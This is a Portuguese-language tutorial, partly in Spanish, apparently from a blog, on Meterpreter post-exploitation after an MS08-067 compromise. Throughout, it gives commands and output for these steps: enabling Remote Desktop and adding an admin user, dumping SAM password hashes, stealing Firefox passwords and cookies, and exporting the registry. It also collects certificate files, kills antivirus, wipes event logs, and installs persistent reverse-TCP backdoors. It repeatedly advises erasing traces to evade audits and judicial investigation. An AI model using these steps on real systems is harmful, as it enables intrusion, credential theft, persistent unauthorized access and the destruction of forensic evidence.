Estou escrevendo aqui este artigo para ficar uma dica , ou um norte (ideia) do que se fazer após se obter um shell na máquina.
Não vou entrar aqui nos detalhes de como se ganhar o shell na máquina ou do que se trata, pois se você está lendo este texto, acredito eu que você tenha noção do que está procurando.
Vou supor aqui que exploramos o clássico MS08_067.
Após aberta a sessão do meterpreter, muitos newbes ficam parados vendo uma tela preta cheia de letras rindo pois acabou de ter um shell, mas não sabe mais o que fazer dali para frente. Existem infinitas possibilidades, mas como comentei no inicio, o objetivo aqui é deixar uma base, uma ideia, um norte!
Acessando remotamente
Uma das coisas que podem ser feitas de inicio é acessar a máquina remotamente via Remote Desktop. Esse e o jeito mais pratico, rápido, mas é mais agressivo, deixa uitos vestígios, as vezes tem muitos usuários logados e enestes casos este método pode ser complicado. Supondo que você já esteja com o meterpreter aberto após explorar a falha, dê o comando shell para ganhar acesso á máquina e siga o seguinte procedimento:
Habilite o Remote Desktop com o seguinte comando:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
Se quiser desabilitar depois para não deixar rastros:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 1 /f
Agora você precisa add um usuário local com poderes administrativos, para conseguir se logar
PS: Se quiser habilitar a assistência remota ( OPCIONAL)
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /t REG_DWORD /d 1 /f
Criando o usuário local:
net user NOME_DO_USUARIO SENHA /add
Adicionando o usuário a um grupo:
net localgroup GRUPO USUARIO_CRIADO /add
Agora está prontinho, basta se conectar via remote Desktop, e se logar com seu usuário e senha criados.
Acessando o C: executando um processo:
execute -f “cmd.exe” -i -H
Usando o próprio meterpreter
Os scripts do Meterpreter são rotinas que podem ser executados a partir do intérprete e permite que você execute ações específicas sobre o alvo e são utilizadas para automatizar tarefas e agilizar atividades , os scripts disponíveis são executadas por linha de comando, alguns scripts úteis são:
arp_scanner
Vamos encontrar outras máquinas que estão no segmento de rede ou cometeram conexão com a máquina, para que você possa encontrar endereços IP e MAC das máquinas que têm acesso ao alvo, um cenário típico para isso é o acesso a partir de Internet a uma intranet , por exemplo:
Supondo-se que um pentester entrou em uma máquina que tem 2 interfaces de rede , uma das quais é dedicada à internet eo outro é para a conexão em intranet, porque o pentester tem acesso a esta máquina , você pode facilmente identificar essas interfaces de rede e , em seguida, executar máquinas de varredura no segmento de rede da intranet através de requisições ARP da seguinte forma:
meterpreter > run arp_scanner -h Meterpreter Script for performing an ARPS Scan Discovery.OPTIONS:-h Help menu.-i Enumerate Local Interfaces-r <opt> The target address range or CIDR identifier -s Save found IP Addresses to logs. meterpreter > run arp_scanner -i [*] Enumerating Interfaces [*] National Semiconductor DP83815-Based PCI Fast Ethernet Adapter – Packet Scheduler Miniport [*] 192.168.1.34 [*] 255.255.255.0 [*] meterpreter > run arp_scanner -r 192.168.1.1/24 [*] ARP Scanning 192.168.1.1/24 [*] IP: 192.168.1.1 MAC 64:68:c:45:71:88 [*] IP: 192.168.1.33 MAC 4c:f:6e:e9:7f:16 [*] IP: 192.168.1.34 MAC 0:d:9d:82:cc:69 [*] IP: 192.168.1.35 MAC 0:1c:bf:5a:2a:25 |
checkvm:
Verifique se o alvo está sendo executado em uma máquina virtual ou um físico:
meterpreter > run checkvm [*] Checking if target is a Virtual Machine …..[*] It appears to be physical host. |
credcollect:
Com este comando, a lista de hashes que são armazenados no SAM dos dados alvo é obtido (Gosto muito desse comando, depois é so rodar um bruteforce):
meterpreter > run credcollect [+] Collecting hashes…Extracted: Administrator:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0Extracted: ASPNET:f398e05bcb3020ceff92d55aff8ce62c:86ceb0fb2a9e29524943fed3ef434477……… |
enum_firefox:
Com este script você pode saber se o computador de destino está instalado FireFox e se assim for, o comando tentará baixar todas as informações armazenadas nesse navegador, objectos, tais como cookies, senhas salvas, histórico de navegação, etc.
meterpreter > run enum_firefox [*] Firefox was found on this system.[*] Extracting Firefox data for user Owner[*] Downloading Firefox Password file to ‘/root/.msf3/logs/scripts/enum_firefox/192.168.1.34_20110313.4328/Ownercert8.db’ [*] Downloading Firefox Password file to ‘/root/.msf3/logs/scripts/enum_firefox/192.168.1.34_20110313.4328/Ownerkey3.db’ [*] Downloading Firefox Password file to ‘/root/.msf3/logs/scripts/enum_firefox/192.168.1.34_20110313.4328/Ownersignons.sqlite’ [*] Downloading Firefox Database file cookies.sqlite to ‘/root/.msf3/logs/scripts/enum_firefox/192.168.1.34_20110313.4328/Ownercookies.sqlite’ [*] Downloading Firefox Database file formhistory.sqlite to ‘/root/.msf3/logs/scripts/enum_firefox/192.168.1.34_20110313.4328/Ownerformhistory.sqlite’ [*] Downloading Firefox Database file places.sqlite to ‘/root/.msf3/logs/scripts/enum_firefox/192.168.1.34_20110313.4328/Ownerplaces.sqlite’ [*] Downloading Firefox Database file places.sqlite-journal to ‘/root/.msf3/logs/scripts/enum_firefox/192.168.1.34_20110313.4328/Ownerplaces.sqlite-journal’ [*] Downloading Firefox Database file search.sqlite to ‘/root/.msf3/logs/scripts/enum_firefox/192.168.1.34_20110313.4328/Ownersearch.sqlite’ [*] Getting Firefox Bookmarks for Owner [*] Saving to /root/.msf3/logs/scripts/enum_firefox/192.168.1.34_20110313.4328/Owner_bookmarks.txt [*] Getting list of Downloads using Firefox made by Owner [*] Saving Download list to /root/.msf3/logs/scripts/enum_firefox/192.168.1.34_20110313.4328/Owner_download_list.txt [*] Getting Firefox URL History for Owner [*] Saving URL History to /root/.msf3/logs/scripts/enum_firefox/192.168.1.34_20110313.4328/Owner_history.txt [*] Getting Firefox Form History for Owner [*] Saving Firefox Form History to /root/.msf3/logs/scripts/enum_firefox/192.168.1.34_20110313.4328/Owner_form_history.txt [*] Getting Firefox Search History for Owner [*] Saving Firefox Search History to /root/.msf3/logs/scripts/enum_firefox/192.168.1.34_20110313.4328/Owner_search_history.txt [*] It appears that Search History has been cleared [*] Getting Firefox Cookies for Owner |
Pode ser interessante para o usuário para extrair dados e senhas armazenadas lá para isso se usa o FirePassword , o procedimento é o seguinte:
1. Faça o download do programa (. Exec)
2. Procurar a partir Meterpreter para o diretório onde você fez o download ou o programa é armazenado usando os comandos getlwd e lcd (estes comandos permitem consultar o diretório atual (local) e mudar o caminho do diretório atual (local)
3. Em seguida, use o comando Meterpreter upload e fazer o upload do arquivo executável para a máquina remota.
4. Agora, execute o comando shell para abrir um console no sistema remoto e executar o FirePassword programa na máquina remota, com isso, o programa irá listar as rotas de navegação utilizados e suas credenciais de correspondentes em texto simples (no caso são armazenadas no navegador).
get_application_list
Obtém uma lista dos aplicativos que estão instalados no sistema comprometido com o número da versão que lhes estão associados:
meterpreter > run get_application_list Installed Applications======================Name Version—- ——-7-Zip 4.65 Conexant 56K ACLink Modem Open Command Prompt Shell Extension (x86-32) 2.0.1.0 …….. |
enum_logged_on_users
Fornece informações sobre os usuários que são atualmente logados:
meterpreter > run enum_logged_on_users -c Current Logged Users====================SID User— —- S-1-5-19 Local Service S-1-5-20 Network Service S-1-5-21-1004336348-1957994488-842925246-1003 Owner S-1-5-21-1004336348-1957994488-842925246-1005 S-1-5-18 SYSTEM |
get_env
Retorna as variáveis de ambiente da vítima, permitindo conhecer as características físicas das variáveis de máquina-alvo e de ambiente utilizadas como referência para o software instalado no destino, por muito úteis atividades de pós-exploração de um script do sistema é especificamente para coletar informações sobre a máquina comprometida.
scraper
Vamos coletar informações sobre o sistema e arquivos armazenados no sistema local, a informação recolhida inclui, compartilhamentos de rede, senhas, entradas de registro, etc. toda esta informação é baixado e, em seguida, pode ser usado para apoiar o processo de pós-exploração do sistema, a fim de fortalecer o conhecimento da mesma.
meterpreter > run scraper [*] New session on 192.168.1.34:31337…[*] Gathering basic system information… [*] Dumping password hashes… [*] Obtaining the entire registry… [*] Exporting HKCU [*] Downloading HKCU (C:\DOCUME~1\Owner\LOCALS~1\Temp\vXPnWyUV.reg) [*] Cleaning HKCU [*] Exporting HKLM [*] Downloading HKLM (C:\DOCUME~1\Owner\LOCALS~1\Temp\yeglhdIM.reg) [*] Cleaning HKLM [*] Exporting HKCC [*] Downloading HKCC (C:\DOCUME~1\Owner\LOCALS~1\Temp\ydknHdsv.reg) [*] Cleaning HKCC [*] Exporting HKCR [*] Downloading HKCR (C:\DOCUME~1\Owner\LOCALS~1\Temp\aOduEHXB.reg) [*] Cleaning HKCR [*] Exporting HKU [*] Downloading HKU (C:\DOCUME~1\Owner\LOCALS~1\Temp\wGFcKQnj.reg) [*] Cleaning HKU [*] Completed processing on 192.168.1.34:31337… |
winenum
Este é um script que retorna todas as informações sobre o sistema de destino, misturando alguns dos acima, bem como outros comandos úteis , este scripts de informação, gera um relatório consolidado sobre todo o sistema de comunicação de dados relevantes por isso, é altamente recomendado para uso em um processo de pós-exploit de um sistema.
meterpreter > run winenum -h WinEnum — Windows local enumerationRetrieves all kinds of information about the systemincluding environment variables, network interfaces,routing, user accounts, and much more. Results are stored in /root/.msf3/logs/scripts/winenum OPTIONS: -c Change Access, Modified and Created times of executables that were run on the target machine and clear the EventLog -h Help menu. -m Migrate the Meterpreter Session from it current process to a new cmd.exe before doing anything -r Dump, compress and download entire Registry meterpreter > run winenum [*] Running Windows Local Enumerion Meterpreter Script [*] New session on 192.168.1.34:31337… [*] Saving general report to /root/.msf3/logs/scripts/winenum/OWNER_20110314.2422/OWNER_20110314.2422.txt [*] Output of each individual command is saved to /root/.msf3/logs/scripts/winenum/OWNER_20110314.2422 [*] Checking if OWNER is a Virtual Machine …….. [*] UAC is Disabled [*] Running Command List … [*] running command cmd.exe /c set [*] running command ipconfig /all ………………. |
prefetchtool
Fornece informações sobre os programas que têm sido frequentemente utilizados no sistema comprometido, datas de acesso e criação de cada um dos programas encontrados relatórios, este script usa um executável que deve ser incluído no quadro, no caso de que não foi encontrada, ela irá tentar fazer o download do Internet automaticamente, assim que você precisa ter para usar internet (se você tiver o arquivo no diretório prefetch.exe Metasploit) esse arquivo é instalado no <msf_install_directory>/data/prefetch.exe
meterpreter > run prefetchtool -h [*] Prefetch-tool Meterpreter ScriptOPTIONS:-c Disable SHA1/MD5 checksum-h Help menu. -i Perform lookup for software name -l Download Prefetch Folder Analysis Log -p List Installed Programs -x <opt> Top x Accessed Executables (Based on Prefetch folder) meterpreter > run prefetchtool -x 3 -c [*] No local copy of prefetch.exe, downloading from the internet… [*] Downloaded prefetch.exe to /opt/metasploit3/msf3/data/prefetch.exe [*] Running Prefetch-tool script… [*] Uploading Prefetch-tool for analyzing Prefetch folder… [*] Prefetch-tool uploaded as C:\DOCUME~1\Owner\LOCALS~1\Temp\18337.exe [*] OUT> Analyzing 120 of 121 files [*] OUT> Analyzing 121 of 121 files [*] OUT> [*] OUT> * Top 3 Used Executables (Based on Prefetch Folder) * [*] OUT> (1) Filename: avgcmgr.exe [*] OUT> Num of Times Run: 222 times [*] OUT> Last Run: Wed Mar 09 20:39:51 2011 [*] OUT> (2) Filename: wuauclt.exe [*] OUT> Num of Times Run: 109 times [*] OUT> Last Run: Sun Mar 13 01:58:22 2011 [*] OUT> (3) Filename: postgres.exe [*] OUT> Num of Times Run: 104 times [*] OUT> Last Run: Tue Mar 08 22:07:50 2011 [*] Deleting 64162.exe from target… [*] Clearing prefetch-tool prefetch entry … [*] [*] Saving prefetch logs to /root/.msf3/logs/prefetch/192.168.1.34-20110314.4236.log… [*] [*] Deleting log file from target… |
getcountermeasure
Este script fornece informações sobre os sistemas de segurança implementados no alvo, tais como AV e regras de firewall, e se possível tentar matar o processo.
meterpreter > run getcountermeasure [*] Running Getcountermeasure on the target…[*] Checking for contermeasures…[*] Getting Windows Built in Firewall configuration…[*] [*] Domain profile configuration: [*] ——————————————————————- [*] Operational mode = Enable [*] Exception mode = Enable [*] [*] Standard profile configuration (current): [*] ——————————————————————- [*] Operational mode = Disable [*] Exception mode = Enable [*] [*] Local Area Connection firewall configuration: [*] ——————————————————————- [*] Operational mode = Enable [*] [*] Checking DEP Support Policy… [*] DEP is limited to Windows system binaries. |
clearev
Este é um utilitário interessante que permite que você apague todos os arquivos de log gravadas no caso de a máquina comprometida, desta forma você pode esconder os vestígios das ações realizadas e foram provavelmente monitorado.
Em um sistema Windows, a ferramenta para exibir o log está localizado em Configuração → Ferramentas Administrativas → Visualizador de Eventos
Depois de executar o script que você pode ver que o aplicativo não contém todas as entradas relacionadas a atividades realizadas no sistema, deixando apenas um rastro indicando que o sistema executou uma auditoria automático com sucesso.
meterpreter > clearev [*] Wiping 874 records from Application…[*] Wiping 2076 records from System…[*] Wiping 0 records from Security…meterpreter> |
file_collector
Este é um script que permite que você encontrar certos padrões de arquivos em um determinado diretório, desta forma você pode encontrar todos os arquivos com um nome e / ou a extensão indicada nos parâmetros do comando.
meterpreter > run file_collector Meterpreter Script for searching and downloading files thatmatch a specific pattern. First save files to a file, edit anduse that same file to download the choosen files.OPTIONS: -d <opt> Directory to start search on, search will be recursive. -f <opt> Search blobs separated by a |. -h Help menu. -i <opt> Input file with list of files to download, one per line. -l <opt> Location where to save the files. -o <opt> Output File to save the full path of files found. -r Search subdirectories. |
Las opciones obligatorias son -d y -f para especificar el directorio de búsqueda y el filtro respectivamente, el siguiente ejemplo, busca todos los certificados almacenados en la partición C del disco duro, al igual que cualquier fichero con extensión .exploit
meterpreter > run file_collector -d C:\\ -f .cer|.exploit -r [*] Searching for *.cer[*] C:\141381ad8e9662ef875b54bf39\x86\setup\sql_engine_core_inst_msi\pfiles\sqlservr\mssql.x\mssql\install\gdryknrt.cer (517 bytes)[*] C:\Documents and Settings\Owner\Desktop\mycertificate.cer (745 bytes)[*] C:\Program Files\Adobe\Reader 10.0\Reader\pmd.cer (420 bytes) [*] C:\RECYCLER\S-1-5-21-1004336348-1957994488-842925246-1003\Dc6.cer (784 bytes) [*] C:\RECYCLER\S-1-5-21-1004336348-1957994488-842925246-1003\Dc8.cer (740 bytes) |
Como puede apreciarse, se han encontrado algunos certificados de usuario y son listados en el resultado, aunque no se haya encontrado nada sobre el otro filtro de búsqueda indicado.
Otra opción interesante es -o que nos permite especificar un fichero de salida, donde podremos almacenar los resultados del comando, Sin embargo no se queda aquí, también podemos obtener dichos ficheros y almacenarlos en local con el uso de la opción -l
meterpreter > run file_collector -l /opt/metasploit3/msf3/stoled/ -i /opt/metasploit3/msf3/stoled/files_stoled [*] Reading file /opt/metasploit3/msf3/stoled/files_stoled[*] Downloading to /opt/metasploit3/msf3/stoled/[*] Downloading C:\141381ad8e9662ef875b54bf39\x86\setup\sql_engine_core_inst_msi\pfiles\sqlservr\mssql.x\mssql\install\gdryknrt.cer[*] Downloading C:\Documents and Settings\Owner\Desktop\mycertificate.cer [*] Downloading C:\Program Files\Adobe\Reader 10.0\Reader\pmd.cer [*] Downloading C:\RECYCLER\S-1-5-21-1004336348-1957994488-842925246-1003\Dc6.cer [*] Downloading C:\RECYCLER\S-1-5-21-1004336348-1957994488-842925246-1003\Dc8.cer |
persistence
Uma vez explorado um sistema, uma porta persistente que nos permite conectar a qualquer momento para o nosso objetivo, sem explorá-lo novamente é desejável para executar esta tarefa, existem algumas outras maneiras que envolvem a modificação do registro do Windows manualmente, neste caso, vamos fazer uso de uma das cargas que existem em uma sessão meterpreter para instalar o serviço.
Nota: Não especifique um valor para a autenticação, o que significa que qualquer usuário na máquina remota, pode fazer uma conexão com o backdoor, isso pode ser um risco de segurança elevado, por isso recomenda-se cautela e limpar qualquer registro (traço) após ter terminado a execução das tarefas.
meterpreter > run persistence -h Meterpreter Script for creating a persistent backdoor on a target host.OPTIONS:-A Automatically start a matching multi/handler to connect to the agent-L <opt> Location in target host where to write payload to, if none %TEMP% will be used. -P <opt> Payload to use, default is windows/meterpreter/reverse_tcp. -S Automatically start the agent on boot as a service (with SYSTEM privileges) -T <opt> Alternate executable template to use -U Automatically start the agent when the User logs on -X Automatically start the agent when the system boots -h This help menu -i <opt> The interval in seconds between each connection attempt -p <opt> The port on the remote host where Metasploit is listening -r <opt> The IP of the system running Metasploit listening for the connect back meterpreter > run persistence -U -i 5 -p 4444 -r 192.168.1.33 [*] Running Persistance Script [*] Resource file for cleanup created at /root/.msf3/logs/persistence/OWNER_20110307.1848/OWNER_20110307.1848.rc [*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=192.168.1.33 LPORT=4444 [*] Persistent agent script is 610514 bytes long [+] Persisten Script written to C:\WINDOWS\TEMP\cJYeLTeHhKhX.vbs [*] Executing script C:\WINDOWS\TEMP\cJYeLTeHhKhX.vbs [+] Agent executed with PID 2840 [*] Installing into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\DfctDISwu [+] Installed into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\DfctDISwu |
Agora você pode reiniciar a máquina comprometida, a fim de iniciar o processo recém-criado, isso pode ser feito com o comando reboot e uma vez que o usuário fizer logon novamente, a conexão com a máquina do atacante começará, portanto, a máquina deve ser preparada com um exploit e um PAYLOAD adequado como reverse_tcp, reverse_http, reverse_https ou metsvc_bind_tcp
metsrv
Outra maneira de manter o acesso a um alvo, é através do estabelecimento de um backdoor, você pode definir uma backdoor através do uso de extensão meterpreter metsvc desta forma pode, em seguida, acessar o cliente sem esperar a máquina novamente estabelecer a conexão.
Uma vez que é necessário encontrar o processo explorer (onde procuraremos o backdoor), mas não têm necessariamente de ser este processo especial, pois você pode executar o comando em qualquer processo válido identificador da sessão meterpreter obtido, indica a processo “explorer”, uma vez que é um dos processos mais importantes do sistema operacional:
meterpreter > ps Process list============PID Name Arch Session User Path— —- —- ——- —- —- 0 [System Process] 4 System x86 0 NT AUTHORITY\SYSTEM 476 smss.exe x86 0 NT AUTHORITY\SYSTEM \SystemRoot\System32\smss.exe …. meterpreter > migrate 244 [*] Migrating to 244… [*] Migration completed successfully. |
Uma vez que o processo de migração, você pode executar o comando
meterpreter > run metsvc [*] Creating a meterpreter service on port 31337[*] Creating a temporary installation directory C:\DOCUME~1\Owner\LOCALS~1\Temp\lZBdswMe…[*] >> Uploading metsrv.dll…[*] >> Uploading metsvc-server.exe… [*] >> Uploading metsvc.exe… [*] Starting the service… * Installing service metsvc * Starting service Service metsvc successfully installed. |
Se já existe um backdoor instalado é possível excluir com a opção-r.
Agora que a porta da bagageira é estabelecida, você pode começar a qualquer momento uma ponte inversa para a máquina do atacante automaticamente, assim você pode usar o multi / handler explorar para realizar essas ações, além disso, uma carga definida para realizar a conexão imediata entre as duas máquinas:
msf exploit(handler) > set PAYLOAD windows/metsvc_bind_tcp PAYLOAD => windows/metsvc_bind_tcpmsf exploit(handler) > set RHOST 192.168.1.34 RHOST => 192.168.1.34 msf exploit(handler) > set LPORT 31337 LPORT => 31337 msf exploit(handler) > exploit [*] Starting the payload handler… [*] Started bind handler [*] Meterpreter session 4 opened (192.168.1.33:38034 -> 192.168.1.34:31337) at Sun Mar 06 21:53:51 +0100 2011 meterpreter > |
NOTA: Embora você pode remover este backdoor, na verdade o que a opção-r é para remover as entradas de registro da máquina remota, mas os arquivos carregadas na máquina, não é excluída, portanto, é importante realizar o apagamento de bibliotecas (. dll) e arquivos executáveis (. exe) manualmente para evitar deixar vestígios que podem ser facilmente detectadas por uma auditoria de software ou de um processo judicial, além de que também é necessário para encerrar qualquer processo que está executando e dependente dos arquivos.